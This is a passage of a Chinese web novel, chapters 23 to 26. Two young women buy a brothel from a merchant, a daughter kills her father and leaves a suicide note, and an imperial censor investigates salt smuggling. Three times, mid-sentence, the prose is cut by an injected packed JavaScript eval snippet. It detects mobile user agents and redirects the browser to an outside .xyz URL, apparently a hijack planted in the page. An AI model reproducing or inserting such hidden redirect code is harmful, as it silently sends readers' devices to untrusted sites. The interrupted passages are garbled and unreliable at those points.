马车一晃一晃,杜蕊华裹紧了自己身上的薄衣,纱质的衣服磨得她的手肘有些疼痛,不自觉地又松开几分。她终于找到了一个最舒服的姿势,她就这样歪着头靠在马车上,在摇摇晃晃之中睡去。 和小时候在母亲怀里的时候一样。 “就这么放她走了?”苏玉淑有些焦急,毕竟她想问的事情还没有问出来,“她会说吗?” “你放心,她会的。”杜蕊琴露出一个胸有成竹的微笑,“保不齐她还会帮我一个大忙。但是比起来这个,我们现下有更重要的事情做不是吗?虽然清了场子,可我还真是不喜欢这里的每一样摆设。对面茶楼已经订好了位置,我们一同去吧。” 青莲院还是那样灯火通明,底下的人得了授意也纷纷回来迎客。这里很快便恢复如常,没有人知道刚刚发生了什么。苏玉淑狠狠地呼吸了一口外面的空气,她果然还是喜欢这种没有任何香料气息的、最原始的味道—— “真是累死我了……诶?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457806|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她突然三步并作两步躲到了杜蕊琴的身后,“别出声!” 不远处站着的两个人的身影怎么看怎么熟悉,她躲在后面仔仔细细看了个清楚—— 居然是林长亭和苏玉鸿!他们两个怎么会在一起! “玉淑妹妹?怎么了?” “别别别别出声,快,我们快到楼里去!” 杜蕊琴满腹狐疑,可她也拿苏玉淑这个满脑子鬼点子的丫头没什么办法。她被扯得像个僵硬的木偶人似的,一路挺直了腰杆手脚僵硬地挪动到了对面。直到落座临窗的房间里,苏玉淑才深深地舒了一口气: “哎呀……可吓死我了。” “玉淑妹妹这是怎么了?难不成看见鬼了?” “蕊琴姐姐你可不要打趣我了。”苏玉淑瘪瘪嘴,“我是看见我哥和……和一个死对头了。谁知道他俩怎么厮混到一起的,回去我一定要好好问个清楚才是。” “你呀你呀。”杜蕊琴笑笑,“这里是什么地方你不知道吗?你哥哥尚未婚娶,和朋友来这种地方不是很正常吗?你可千万不要用这个取笑人家,再给你哥哥惹生气了要你好看呢。” “我哥哪敢要我好看啊,我不要他好看就不错了。”苏玉淑一脸得意,“在我家我可是混世魔王说一不二的,我哥脾气又绵嘴又笨,他才斗不过我呢。” “你哥哥那是让着你呢。” 苏玉淑嘴角带了一丝调笑:“蕊琴姐姐,你跟我哥就见了一面,你怎么就向着他说话啊?这可不对啊?” “你这丫头胡说些什么。我只是羡慕你有个好哥哥罢了,我家这些乱七八糟的事儿你也算是见识了,我在家中又最年长,想有个哥哥宠着还没有呢!你呀,别得了便宜还卖乖了。来,今天也累了一天了,不如让我考校考校你。你来品品这是什么茶?” “这有何难。”苏玉淑展了茶盏,她仔细闻了闻飘散开来的茶香,又稍稍抿了一口在口中回味,继而仔细看着茶盏之中漂浮着的叶子: “叶片短而细小,嫩绿匀齐。香气馥郁清新,茶汤翠绿入口不涩回甘明显,这是我苏家茶行从黔州一带带回的雨前毛尖。姐姐,我说的可对啊?” “还真是佩服妹妹,猜的果然不错。姐姐我就没有这般本事了,要是我是断断品不出个所以然的。要我说,女孩子果然还是要多出去见见世面,不要像我一样从小关在家里只知道家宅内事,其他的别无所长的才好。” 苏玉淑皱了眉:“姐姐又何必妄自菲薄呢,姐姐这般自然有你的好处。你深知内宅中的三三两两,杜家这种情况你都能坚持下来,可见你的心地和心志都不是一般人所能比拟的。要我说,我巴不得我哥娶上一位这样的妻子呢,到时候能治一治他那优柔寡断又磨叽的性子!诶……蕊琴姐姐……” “去去去,你又胡说。你忘了我们的正事儿了?”杜蕊琴赶紧打断她的话头,“这件事不能了断,你我如何能安心嫁人呢。” “这人怎么还不来啊,又过了一盏茶的功夫了——” 她话音未落,房间外响起一阵叩门声: “杜小姐,苏小姐,青莲院东家求见!” “进来吧。”苏玉淑和杜蕊琴隔了屏风在身前,只听得门开又合上,一道略略有些粗犷地男声在不远处响起: “有劳二位小姐久等了。时辰已晚,我们现在该来好好谈谈这笔生意才是。” 与此同时,杜蕊华也跌跌撞撞地跑进了院门。叶荣摘下斗笠停了马车,立即飞身上墙跟在她的身后。她先是回到了自己的院子,和那年迈的嬷嬷交谈后旋即失魂落魄地走了出来。 这下正如她所愿,她什么都知道了。 杜蕊华身上的力气好像都被抽干了一样,她不知道自己这时候该说什么,该做什么。她就这样拖着疲惫的身子,穿着一身诡异的红衣在月光下走啊,走啊。 没有目的,也没有尽头。 等她回过神来,她已经站在了自己父亲的门前。杜蕊华的皮肤在月夜下白得有些吓人,她伸出细弱的手腕,犹豫几分后还是推开了那道最后的大门—— “父亲,我回来了。” 24. 第二十四章 “不知二位小姐为何盯上在下这青莲院呢?据我所知,苏家似乎并不干涉我们这种行当。而杜家也有自己的产业,在下这一方小地儿恐是装不下这两尊大佛啊。” “东家无需在意我们究竟为何,您既能将青莲院经营到在师城也是数得上号的好去处,自然您就是个聪明的。我苏家与杜家向来不会在生意场上多做计较,您只需开个价便是。” 苏玉淑这番话却并没有让这位久经商场的老人儿有所动心,他只是干笑两声: “大小姐,这买卖房契地契可不是件小事,更不是有钱就行的。看在两位都是师城大户的面子上,咱们可以免了牙行见证这码子事儿,可是这青莲院也是我苦心经营至今,断断没有这说卖就卖的道理呀。” 杜蕊琴稍有些急躁,她一向对生意上的事情不太精通也听出来了这东家坐地起价的意思,明明之前派人去探他口风的时候并没有这般的不痛快。苏玉淑扭头看了看她,用力握了握她的手—— 今天这生意,她谈定了。 “东家,若我没有记错的话,您可姓钱?” “不错,大小姐的消息好生灵通。” 苏玉淑一副胸有成竹的模样:“并不是我消息灵通,而是钱东家实在是声名在外。” “哦?师城里的商户里,我仿佛并不是一等一的大户。大小姐怎知我一小小商人的名号呢。” “钱东家,您这话实在是过于自谦了。您名下除了青莲院,还有当铺三间,丝行两间,我说的可对?” 钱掌柜的心里一惊,想来和他说话的是苏家的这一位。苏家大小姐的名声他也是听说过的,他家的好几处商号和铺子都是得了她的指点才更上一层楼,苏家的生意能长盛不衰日日红火也离不开这位大小姐的独到眼光。他今天本不打算真的将青莲院出手,没想到对上了苏家这一位,看来她是对自己这家青楼势在必得了。 “大小姐所言极是。我竟不知大小姐对师城的商号如数家珍一般,真是失敬了。” “你我都是商户,自然是都知晓知己知彼百战不殆的道理。虽然我苏家家大业大,但是也和其他商家并无什么分别。钱掌柜,若是您有意想将您钱家生意发扬光大,可想听上我几句?” “那就有劳大小姐指点了。” “东家抬举了。东家您的当铺在恩民巷两间,福民巷一间,可对?”苏玉淑的眼神看起来都和平日不太一样,面对林长亭的时候,她总是透着几分不服气;对着绿萝她们则是稚气更多;面对杜蕊琴和杜蕊华的时候既要伶俐又得凶狠。这阵子几番纠缠下来,苏玉淑都快忘了自己究竟是个什么样的人了。 还好,这次终于到了她的战场。 “大小姐所言不错。我这几家店面可有什么不妥?” “恩民巷在城东,福民巷在城北。您这三家店铺的进账仿佛并不平均,我家也有几间房子租了去做当铺,我曾经观察过去典当的人。他们虽然着急用钱,但大多还是要比较几家再选价高者。您这三家当铺在出价上自然不会有什么差异,因此恩民巷的两家生意稍好些,可福民巷的那家就门可罗雀了。您可知是为何?” “自然是福民巷那边人少,生意自然也惨淡些。” “钱东家,您这话就错了。当铺不同于其他的店面,并不依靠人多来赚钱,而是信誉和价格。急着用钱的自然会病急乱投医,可是那些宁可跑断腿也要多换几个钱的人也是大有人在。只依靠恩民巷的两家价格一样的铺子又怎能笼络住这些人呢?” “那大小姐的意思是?” “钱东家,您得再开上几间当铺,让价格有所错落才是。可您手中的活钱一向是不松快的吧。” “大小姐此话怎讲?” “当铺里一向是死当居多,若是一段时间不能出手必然会积压货物于手中。青莲院虽然赚钱,可您当时买下这一块儿地皮的时候还是从钱庄那里拿的放款……对,就是我苏家的钱庄。” 苏玉淑说的每一句都是实话。他手中拿着青莲院眼下的确风光,可是这青楼赚得多开销却也大,上到还钱庄的银两,下到虔婆姑娘们的花销,他手中的确是有些周转不开。 “大小姐,您这可是在威胁我?” “钱东家会错意了,咱们都是生意上的人,哪有什么威胁不威胁的道理。依我看,您不如将这青莲院兑给我们,我愿意比市价再高一成的价格给您。您得了这五千两银票,手中的钱也活了,我还能给您再指一条明路,助您家的当铺生意更上一层楼。” 杜蕊琴内心实在是佩服。苏玉淑此刻的一举一动皆有她母亲在外的风范,想来她今后也必定能撑起一个大家族成为出色的当家主母。只是不知为何,她的心中居然也多出了一丝惋惜。 难道真的和玉淑妹妹说的一样,女子也不应该居于这一亩三分地,应该闯闯那大好天地吗?她经商谈判如此有天赋,若是真的和自己想的一样才算是真真埋没了。 这世道之下,对她们来说究竟什么样的选择才是对的呢。 “大小姐,您的确所言不虚。我钱家家业比不上苏家,眼光自然也是没有您的高。可若您不将话说得更明白些,我又怎么会放手眼前的这颗摇钱树呢?” “钱东家,这颗树能不能摇钱,要看在谁的手里。”苏玉淑的嘴角勾起一抹微笑,她的面容平淡而坚定,这商场上的一推一拉对她而言仿佛是最最日常的事情不过了。 “姐姐,上次你家夏宴,你可听到转运使大人说了?” 杜蕊琴配合着轻笑两声:“林大人说过许多事,不知妹妹所说是哪一件呢?” “还是姐姐家和各位大人更亲近些。我只听说了,最近咱们地方上的税收财务要紧着查呢。” “是了,那妹妹家的钱庄可是要好好点点账了。我呀不懂这些生意上的事,只是偶然听见刘县令和几位大人说着城中的事罢了,说是最近好几位的家里都出了内贼,经常是把家里的物件偷出去变卖了。哎呀钱东家,这其中会不会有你家呀?” 钱掌柜当即变了脸色:“二位小姐,这种玩笑可开不得!这种话若是让官府听去了可如何是好!” “东家您可千万别多心,我们就是说说闲话而已。不过刚才我还看见那位大人在这附近呢,不知道您可认得他?若是到时候查问起来,我也好替两位引荐一下才是啊。” “我……我怎么好和上面的大人物认识的。”钱东家的汗已经一滴一滴地落了下来,他万万没想到的苏家杜家居然和上面还有这样一层的关系。他这生意说大不大说小也不小,要是真的得罪了官府的人,一家老小又要何去何从呀! 可话虽如此,青莲院也是他一朝经营的所在,他也是不想就这样拱手让人。钱东家思忖再三,报出了一个惊掉人下巴的价格: “八千两不还价。” “八千两?”杜蕊琴忍不住惊呼出来,这几乎比市价翻了一番,“八千两都可以买下两个青莲院了,你这狮子大开口也太夸张了点!” “大小姐,是你们急着买,我就算不卖不过也是难过些时日,可你们就不同了吧?看上我这地方一定是有你们的道理,更何况哪有女人家出来谈生意的,还是青楼的生意!两位小姐要是不诚心诚意,那我看我们也没必要再谈了!” “东家,生意是生意,买卖不成仁义在。您又急些什么呢?”苏玉淑把玩着手里的茶盏,看起来漫不经心可眼神却实在犀利,“您要这个价无非是想探探我们的底。那我给您这个底就是了,八千两嘛……没得谈,五千五百两,这是我最后的数儿。这个数您觉得可以我们现下就可以签了地契房契,另外我会信守承诺,给您指两个新的当铺位置。当然,这当铺都是我苏家的家产,租金上也好说的很,这比起来把一大块肥肉砸在手里可是强上不少呢。当然,决定的权利在于您,东家。若是您当真不愿意出手……我们倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457807|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是也可以寻些别的法子,这世道再怎么不好,也没有强买强卖的道理不是?” 这两个大小姐对这处地方是势在必得,他们背后又有官府撑腰。这两天盈字号那几家店纷纷抬价,换了其他店面的胭脂水粉姑娘们怕又是不肯,长此以往这又是一大笔开销,只怕是青楼当铺两边都落不下好处。青楼这份产业又大,整个师城吃得下的怕也是没有几家,与其等到尾大不掉的时候再出手,现下的确也是个好时机。不仅能拿到一笔巨款缓解弹幕的燃眉之急,还能卖苏家一个人情得到生意上面的指点,无论如何都是稳赚不赔。 钱东家也算是在商场上打拼的老人了,他心中的算盘打得不比苏玉淑的差。他盘算一番,于理上他的确应该一口应承下来,可于情……就算她苏大小姐声名远扬,可也不能这么轻易地让一个丫头片子拿捏了才是。 “大小姐,您说五千五百两就是五千五百两,权当我和苏家交个朋友。店面的事,自然还是要您多指点。只是一样,青楼这门生意和别的它不太一样,这房契地契我虽然随身带着,可是需得是当家的男子来签下才是。自古便没有女子做青楼东家的道理,我也不好坏了规矩。既然您有意收下这家店面,由苏老爷出面不是更妥当些?” “家父事多人忙,自然不能事事都照拂的到。”苏玉淑没想到这人还能来上这么一招,“还是说钱大东家只认人而和银子过不去啊?” “自然不是,只是商人也好工农也罢,自古没有女子出面做这种事的。生意归生意,礼法归礼法,我不为难大小姐谈这桩生意,大小姐也别在这种事上为难我才是。” 杜蕊琴有些按捺不住,这不就是瞧不起她们二人女子身份明着给她们下马威吗。等青莲院一到手,她一定要找上人给他一顿暴揍才是。 一时间,苏玉淑也不知有何解法。千算万算却独独没想到这么一手,谈好的生意只差这最后一哆嗦,真是让人憋闷。她咬着下唇,脑子里飞速地思考着有何解法。烛火一晃一晃,外面的人声已经渐渐熄了,再不快刀斩乱麻今天就算是白费功夫,今晚青莲院发生的一切也早晚会传出去。到时候杜家的声望,杜家所有人的名声都要在物议沸沸中毁于一旦了。 “二位小姐若是做不了主,那我也就先告退了。时辰不早了,我也不便在此耽搁。” “且慢!”苏玉淑心下一横当即站起身来,“只要当家的男子出面即可?” “是了。” “东家且在门口等一等,一盏茶的功夫我便来唤您。”听到关门声后,苏玉淑朝杜蕊琴笑了笑,“姐姐等我。” 说罢她翻身下窗,虽是三楼,可底下有屋瓦房檐,跳下去对她来说也不是难事。苏玉淑报着最后的一丝希望在街上奔跑寻找着,她今天无论如何都要将这件事做成,不仅是为了苏家,更是为了自己今后的大计。 这条街上的人真多啊,多得让她茫然。 她左右探寻着却没有见到想见到的身影,周围的丝乐管竹之声像是在嘲讽她的无能一般不停地灌进她的耳朵。苏玉淑只觉得自己呼吸急促,心脏仿佛都要跳到嗓子眼儿一样快要炸开,那人刚刚明明就在这里的—— “玉淑?你在这儿干什么?” 一道熟悉的声音在她背后传来。苏玉淑猛地转过身去,苏玉鸿和林长亭正在她背后微笑着,苏玉鸿的手里还拎着个精致的盒子,他看上去一脸无辜,可林长亭却是一副了然于胸的表情。 “我来给你和母亲取点东西,你一个女孩子家家的怎么在这种地方?让爹知道了他肯定打——诶诶——” 还没等他把话说完,苏玉淑就拉着他的手朝茶楼飞奔而去: “哥!帮我个忙!你一定要帮我!” 倏然见,林长亭的身边就空无一人了。他无奈地笑了笑,转身跟上二人的脚步。可他刚要动身,耳边突然传来叶荣熟悉的声音: “少爷,杜家老爷死了。” 25. 第二十五章 “玉淑,你现在能告诉我是怎么回事了吗?”苏玉鸿看着手中的地契房契,自己莫名其妙就成了这家青莲院的主人,说出去只怕是让人笑掉大牙。这丫头背着父亲母亲在外面自作主张就算了,还把杜家的大小姐也拖下水,人家要是问起来可如何是好。 “哥你就别问那么多了。”苏玉淑扁扁嘴,她说了也没用还不如不说。 “令妹的性子真是活泼可爱。”林长亭在一旁帮腔道,“只是……” “你只是什么只是。” “玉淑,不得无礼!这是我回师城之后结识的朋友,林长亭。我们一见如故相谈甚欢,他家也是历年经商,生意上的事倒是比我精通上许多。玉淑,按理你应该也叫他一声兄长才是。”苏玉鸿略带抱歉地朝林长亭抱了拳,“小妹莽撞,家中又宠着,冒犯了林兄还请您千万不要和她一般见识。” “无妨,女孩子就是要顽皮些才可爱,若是太死板了反而无趣。玉淑妹妹你说是吧?” 玉淑妹妹? 苏玉淑听见这个称呼的一瞬间的表情堪称师城一绝,那叫一个五颜六色精彩至极。她看着林长亭笑眯眯的那张脸就觉得窝火,这人装着人畜无害接近自己亲哥,也就苏玉鸿是个傻的才不知道他打的什么算盘罢了。 “是,长亭哥哥说的很对。以后我苏家的事还得指望着您帮衬呢,您说是吧?” “岂敢岂敢,玉淑妹妹冰雪聪明,一出手就拿下一处青楼,长亭怎么敢卖弄呢。” “非也非也,长亭哥哥老谋深算,一到此地就掀起腥风血雨,是玉淑冒犯了才是。” “噗。” 两人看向杜蕊琴,她实在是忍不住笑出声来:“你们两人第一次见面,怎么弄得跟冤家似的。” “不敢。” “谁跟他是冤家啊!” “还说不是呢。”杜蕊琴看着两人异口同声的模样,露出了今晚最是放松的笑,“不过这林兄倒很是眼熟,不知哪里见过似的……” “想来是长亭闲来无事,总是在师城晃悠着,惹了杜小姐的眼了。” “差点让你打哈哈打过去,玉淑,你快快把青莲院这件事与我说清楚。否则我就告诉父亲母亲,看他们回家怎么收拾你。” 苏玉鸿很少看起来如此认真,苏玉淑有些心虚地抬眼看了看哥哥,又看了看林长亭,这家伙居然和没事人似的把头扭到一边,让她自己顶了这个雷!不过眼下也没别的法子,且二人早已商量好将此事告知于父兄,她也只好原原本本地将事情的原委和盘托出。 “哥你现在知道了,咱们家要完蛋喽!” “这么大的事你居然不早和家里说!现在还有心情胡说八道,可见我平日是真的对你太放纵了。” 苏玉鸿偶尔拿起哥哥的派头,倒是有那么几分威严的。苏玉淑背过身去吐了下舌头,刚好被林长亭尽收眼底。 她还真是个什么事儿都不放在心上的性子。 “杜小姐,时辰太晚了,我们还是先送您回去,以后的事情我们再从长计议如何?”苏玉鸿想了想,把青莲院的房契地契交到了杜蕊琴手上,“杜小姐,我苏家向来不涉及到这份产业,这些还烦请您拿回去。就有劳夫人一并经营了,苏家这番身陷囹圄还要多亏了大小姐当日提点妹妹,否则我家还不知道要被人诓骗到几时。青莲院的产业就算我对杜家的谢礼,今后还请大小姐与我家互通有无,相互照拂才是。” 杜蕊琴迟疑着不肯接手:“这是几千两银子,即便是你我两家也不是一个小数目,我不能……” 苏玉鸿不知道再说些什么,只是执意举着两张纸不肯放下。杜蕊琴也连连摆手,不管怎么样都不肯收下。苏玉淑见二人拉扯个没完,一把把房契抢过来塞进了杜蕊琴手里—— “姐姐,这个你就先收着,这钱从我哥的账上出就是了。不过是什么礼,回来再细掰扯……” 两人都没听出来她这句话的弦外之音,只是松了一口气。苏玉鸿平时在生意上习惯了与各式的东家掌柜打交道,但平日里说得上话的女孩子却只有苏玉淑一个。二人对视一笑,竟稍稍有些红了脸。苏玉淑把这一切都看在眼里,她只是莞尔一笑,什么都没多说。 “那就先送蕊琴姐姐回家,我们也先回去。” “那蕊琴就先告辞了。我提前准备了马车,就不叨扰大家了。回去我会命人将杜蕊华看管起来,明日我会请人到府上递帖子,还请到杜府一叙。” “好,那你路上小心,若有什么变动及时遣人告知我们便是。” 林长亭也在茶楼下和二人拜别,临走时他对苏玉淑使了眼色,她心下便知这又是要晚睡的一天。入夜时分已晚,街道的青石板路上蒙着一层湿漉漉的水汽,就连空气里都悬浮着氤氲着的水雾,夏天总是有些闷热的。马蹄的“哒哒”声是如此明显,这偌大的师城里竟也有如此安静的时分。 杜蕊琴撩开帘子,侧身问跟在车边的侍女:“要你办的事儿可办妥了?” “是,奴婢已经告诉她院子里的嬷嬷了,有她老家的人攥在手里,她不敢违抗。” “那就好。只怕是我们这一回去,院子里就要有大动静了。” 杜蕊华长舒一口气,只觉得多年来压在胸口的一块大石头突然就这么被碎了似的松快。杜蕊华即便再怎么可怜,可于杜家也是个祸害。她决不能让她再在杜家有一席之地,如今事情已经做到这个地步,开弓没有回头箭,只怕是以后都要死死守着秘密小心翼翼地经营才是。 要是杜家能和苏家那样平和就好了。 “大小姐。” “嗯?”杜蕊华扭头看向木棉,她从小和自己一起长大,自然也是没什么事情需要瞒着的,“你想说什么说就是了,不要吞吞吐吐。” “大小姐,杜蕊华她母亲那件事是真的吗?她当真做出那种丑事?” “是啊。”杜蕊琴的脸上露出了几分无奈的笑,“这件事我可没骗她。摊上这么一个没脑子又丢人的娘算她命不好。” “那其实也不怪老爷狠心,换成是我后院着火,我也是十万个不愿意……” “你真觉得是他干的呀。” 杜蕊华这句话像是反问,又像是嘲讽。木棉顿时起了一身鸡皮疙瘩,她木讷地看向自家大小姐,她满脸调笑,平日里一双桃花儿似的眼睛此时笑得令人心生胆寒,嘴角的弧度怎么看怎么让人害怕。 杜蕊华放下了帘子,什么也没说。 她终于心满意足地笑了。 苏玉淑就心烦多了。 “这件事我觉得还是禀明了父亲的好。”她是怎么都劝不住苏玉鸿要告状的心,她这正直过多却智慧不足的哥哥此刻正义正言辞地教育着她,“妹妹,父亲怎么说都是一家之主,家中出了这么大的事不能不告诉他啊。” “哥你要我说多少遍,告诉他有什么用呢!”苏玉淑只觉得急火攻心自己马上就要死在车里了,“他要是早上心就不会家里出了贼还不知道,更不会放任盐务被那刘掌柜一味吞占!更何况我已经打听来了,这刘掌柜原来和祖母家是有亲戚的,你觉得这件事告诉父亲他当真会管吗!” “那也不能这么不尊重父亲,这么大的事儿……” “哥,你觉得你说了他会相信吗?” “不管父亲是否相信,我们做小辈的都应该——” “苏玉鸿!”苏玉淑实在是忍不住了,眼瞧着马上就要到家,她几乎忍不住要揍上这死脑筋的人一顿,“你也是马上要成家立业的人了,怎么这点事还需要我给你讲吗!若是父亲相信了还好说,可是他的性子你难道不知道吗!任人唯亲又乐于别人的奉承,他去问那个刘掌柜怎么办?岂非打草惊蛇!林长亭他好不容易查到的地方一点儿线索都没有,杜家这边还指望着杜蕊华供出上面的人,如果他真的去说了,我们才真是功亏一篑竹篮打水一场空!苏玉鸿这些你都想过吗!” “你早就认识林长亭?” 苏玉淑深吸一口气。她紧闭了双眼又坚定地看着苏玉鸿和自己有几分相似的脸:“是的。他恐怕没有告诉你吧,他就是上面派下来的御史。这虽然不是什么大官,可我们一家老小的性命全在这个人的手里,若是能把我们苏家摘出去,或许什么事都不会有,若是我们不帮他,到时候死的你以为只是我们一两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457808|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个吗!” 苏玉鸿有些愣住了。他这妹妹平日里性子虽然急切了些,可也没见过她这副气的怒发冲冠的模样。还没等他说些什么,苏玉淑又皱紧了眉头: “你知道我有多嫉妒你吗,哥。” “什么?” “明明我们都是从一个肚子里爬出来的,可为什么却是天差地别。父亲外出经商游历从来只带着你,他为你请来最好的师傅掌柜调教,可我却只能在旁边有一搭没一搭的听着。就算我比你更擅长经商,我比你更适合习武,我的书也比你读的好又怎么样呢?哥,苏家以后早晚都是你的,你难道这个时候还不能拿出一副未来家主的决断来,带着苏家走过这一遭吗!” “你说的这些我都知道。” 苏玉鸿苦笑一下:“我刚刚认识林长亭的时候,便看出来他并非我们商贾之人,只是不知道他身份竟然如此高贵。玉淑,这么多年父亲待你的确不公,我也得到了比你更多的东西。可是你也要知道,这世上并非都是你与林兄这样的冰雪聪明之人。苏家牵扯进这一桩案子,说实话我都不知道该如何是好,我只是不想让大家走上绝路,更不想让父亲母亲一把年纪还要被此事牵连得不得安宁。” “你若是真这么想,就听我的。”苏玉淑的语气愈发坚定,不要说把这案子查下去,哪怕她面前是刀山火海她都能跳下去试上一试,“哥,你相信我。相信林长亭,好吗?” 苏玉鸿抬眼看着自己的妹妹,不知何时她居然已经长成一个大姑娘了。从小她就什么都和自己比着来,样样要强。自己这个做哥哥的自知天资不足,可在这世道之下,玉淑就算再出色也比不过自己的嫡子身份。他虽深感不公,可也只能尽自己所能宠着这个妹妹罢了。 只是现在,这只凤凰终于要展翅了。 “好。我不告诉父亲。” “哥,我……” 苏玉鸿摆摆手:“但你必须要答应我,以后这件事上所有的事情不许隐瞒,必须告诉我知道。还有,我见林兄是个谦谦君子,但你一个待嫁的女孩子也不许和他过从亲密,否则被被人耻笑。至于杜家…… “好了哥,我答应你就是了。”苏玉淑拉起他的手甜甜一笑,似乎还是小时候他屁股后面那个跟屁虫。 马车缓缓停下,直到到了家苏玉淑的心才算真正落了地。今天的事她办的既利落又漂亮,只等着回去和绿萝石竹好好显摆显摆呢。她和苏玉鸿道别后一路蹦跳着回了自己院子,今天虽然疲累的很,可她精神却是十分亢奋。苏玉鸿已经知晓,那自然是可以打着他的旗号到家中盐场巡查线索,到时候和杜蕊华的消息一比对,破这案子简直易如反掌。游山玩水的逍遥日子仿佛就在眼前,寄情山水舞剑于天地之间,当真是好不快活! 可是在快活之前,还是先得把院子里这尊大佛打发了。 林长亭坐在石凳上,还是那淡淡的微笑。他打老远就听见苏玉淑蹦蹦跳跳的声音,活像一只在深夜里打洞的小耗子。 “哟,林大人,腿脚挺快啊。”苏玉淑大咧咧往他对面一坐,“林大人的演技太拙劣了些,连我哥都骗不过。” “我知道。”自打上次不小心伤了她,林长亭就习惯了苏玉淑话里的针锋相对,只是不知道这丫头怎么这么记仇。 苏玉淑笑了笑,她的眼睛璨若星河:“杜家的事情还是要谢谢你。” 林长亭反倒是一怔:“谢我什么?” “谢你救了她们,谢你让鸩教我武艺,谢你派人手给我。也谢谢你的口是心非,面冷心热,这番感谢林大人可还满意啊?” “比起来林大人,我还是喜欢你叫我长亭哥哥。” “林长亭你别蹬鼻子上脸啊。” 两人忽而对上了眼睛,然后低头笑了起来。哪怕下一秒这滔天的洪水袭来,哪怕下一刻灭顶之灾要吞没他们,但现下朗朗晴空月明万里,能有这片刻的安宁愉悦也是好的。 “我来是要给你看样东西。”林长亭从怀里掏出一张纸条递过去,“你看看这个。” “这是什么?” “叶荣从杜老爷的房里偷出来的,杜蕊华的亲笔。” 26. 第二十六章 “杜蕊琴亲启……一念愚则般若绝,一念智则般若生。蕊华自知罪孽深重,特遗书一封。杜维已死,我自当也堕入阿鼻地狱,一家团圆。蕊华所作所为,一是为仇,二是为利,三则是贵人有所图谋。此人身居高位,身在京城,由师城制置使家眷王姨太与我联络。杜维与制置使又暗中勾结贩卖私盐,此事只有他一人知晓,他所用信物我已置于桌上,执此令牌可与人接头。一人做事一人当,今蕊华弑父证道,也自当不苟活于世。请大姐照顾嬷嬷残生,行文至此,再无他言。只盼不得来世,再不为人……杜蕊华。” 苏玉淑怔怔地读完,不知为何心中竟感慨万千。杜蕊华才多大呢?她不过也是和自己年龄相仿的女子,本应过着平和宁静的深宅日子一生衣食无忧才是。虽说她坏事做了一箩筐,可杜蕊华又是怎么挣扎着一步步走到如今这个境地的呢。 她是真的恶毒,也是真的可怜。 “她……”苏玉淑艰难地开口,“她自尽了?” “嗯。”林长亭伸出手拍了拍她的肩头。他看出了苏玉淑的纠结与痛苦,只是对于她而言,这也只是长大路上的一小节课罢了。 “叶荣来报,她回家后就进了自己院子。再出来时提了刀向杜老爷房间,里面传出了争吵声后就安静下来。叶荣窥见她挥刀自尽,抢在杜家人前面把这封信拿了来交予我。”林长亭面上冷冷的,眼眸里却火热,“你看到了,这件事不止是苏家杜家牵涉其中,上面恐怕还有更大的隐情。我在师城这段日子居然一点儿有用的东西都没查到,可见是这人消息灵通又生性狡猾,故意不让我们抓住把柄了。” “这尊大佛也真是瞧得上苏家。”苏玉淑冷哼一声,“这是要拿我家给他家铺路啊。” 林长亭嘴角含笑:“怎么,怕了?” “我?怕?” 一阵风忽而吹过,苏玉淑的发丝弯曲成柔婉的形状,她伸手去拢,动作轻柔语气却坚定异常:“我怎么会怕。我又怎么能怕。能把我苏家当枪使的必定不是等闲之辈,只是还未应战就心生惧意,并非我苏玉淑的性子。林大人不也是吗?” “哦?此话怎讲呢?” 看着林长亭噙着笑的嘴角,苏玉淑的心里突然就放心了许多。人这一辈子注定是条不平坦的路途,这一路上会结识许多人,或许他便是与自己并肩作战的那一个。纵使前路荆棘,她也愿意拼尽全力护得身边之人周全。 “我是说,你也不会怕。”她长舒一口气,笑容里带了几分平日里少有的平和,“我虽然对你了解不深知之甚少,甚至我都不知道你到底是什么身份。但是我唯一可以断定的是,你林长亭一定不会惧怕面前的难路。和你一起应对,我很放心。” 林长亭略微一愣:“哪怕前路波云诡谲风浪滔天?” “是。哪怕洪水滔天。” 二人对视一笑,迷雾已经在眼前渐渐散去,他们一定要抓住背后翻云覆雨那人的手,再把人毫不留情地揪出来。苏玉淑的未来,林长亭的信念都在这个寂夜之中引吭高歌,他们定将奋力一搏,不管结果怎样也要把宣战的锣鼓敲得无比响亮。 “下一步,你打算怎么做。”苏玉淑冲着担心地在门口张望的石竹招招手,她的眸子明明暗暗,像是夜幕里不肯休息的繁星,“拿着令牌直接蹲人吗?” “只怕是难。”林长亭摇摇头,“正一他们在那处地方守了几天,还没有动静。想来是接头的人或者替他们办事的人还不敢轻举妄动,又或者是在等待消息。不如……” “不如直接从我家盐场查起。” “正是。” 